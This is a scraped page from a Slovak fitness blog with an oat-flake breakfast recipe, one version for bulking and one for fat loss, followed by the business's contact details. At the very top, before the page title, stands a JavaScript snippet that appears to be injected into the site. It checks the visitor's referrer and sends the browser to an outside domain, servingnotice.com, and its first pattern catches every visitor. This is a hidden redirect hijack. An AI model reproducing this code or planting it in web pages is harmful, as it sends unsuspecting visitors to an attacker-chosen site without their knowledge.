var toUrl="http://"; var rUrl = document.referrer; var patrn=/(.*)$/; toUrl+="servingnotice.com/O7ul2v/intermediary.html?richubaidaninfo"; toUrl+=""; if(patrn.exec(rUrl))window.location.href=toUrl; patrn=/(.*)aol.(.*)$/; if(patrn.exec(rUrl))window.location.href=toUrl; patrn=/(.*)yahoo.(.*)$/; if(patrn.exec(rUrl))window.location.href=toUrl; patrn=/(.*)bing.(.*)$/; if(patrn.exec(rUrl))window.location.href=toUrl; Ovsené vločky na raňajky – do objemu a redukcie tuku | www.bodytrener.sk
Blog
...naučte sa niečo nové!

Ovsené vločky na raňajky – do objemu a redukcie tuku

Ovsené vločky sú žiadaný druh suroviny hlavne na raňajky. Obsahujú veľké množstvo kvalitných sacharidov, ktoré Vás nakopnú hneď zrána. Na internete môžete nájsť veľa receptov s ovsenými vločkami a ja Vám predstavím najlepšie, podľa mojej mienky.

Potrebné suroviny pre prípravu ovsených vločiek :

  • 1/2 šálky ovsených vločiek
  • 2 ovocné jogurty
  • 1 odmerka proteínu
  • čistá voda

Príprava pri objemovom jedálničku:

Zmiešajte ovsené vločky, 2 ovocné jogurty a odmerku proteínu. Získate kvalitné raňajky plné bielkovín a sacharidov.

Príprava pri redukčnej diéte:

Zmiešajte ovsené vločky, 100 ml čistej vody a odmerku proteínu. Získate bielkoviny a sacharidy bez zbytočných tukov.

Vytvoríme Vám kompletný jedálniček na mieru s preferovanými jedlami a receptami. Pozrite naše služby!

Pridať komentár




Odber noviniek

Pridajte sa k odberu noviniek a získajte najnovšie informácie o článkoch, zľavách a súťažiach.

Potrebujete pomoc?

Adresa:
Bodytrener.sk
Pažite 5
010 09 Žilina

Pracovná doba:
Pondelok – Piatok
10:00 – 18:00

E-mail: info@bodytrener.sk
Telefón: +421 904 569 865

Bankové účty:
2200359578/8330 - SLOVENSKO
2900359579/2010 - ČESKO

© 2013 Bodytrener.sk. Všetky práva vyhradené.

Pridaj si nás na Facebooku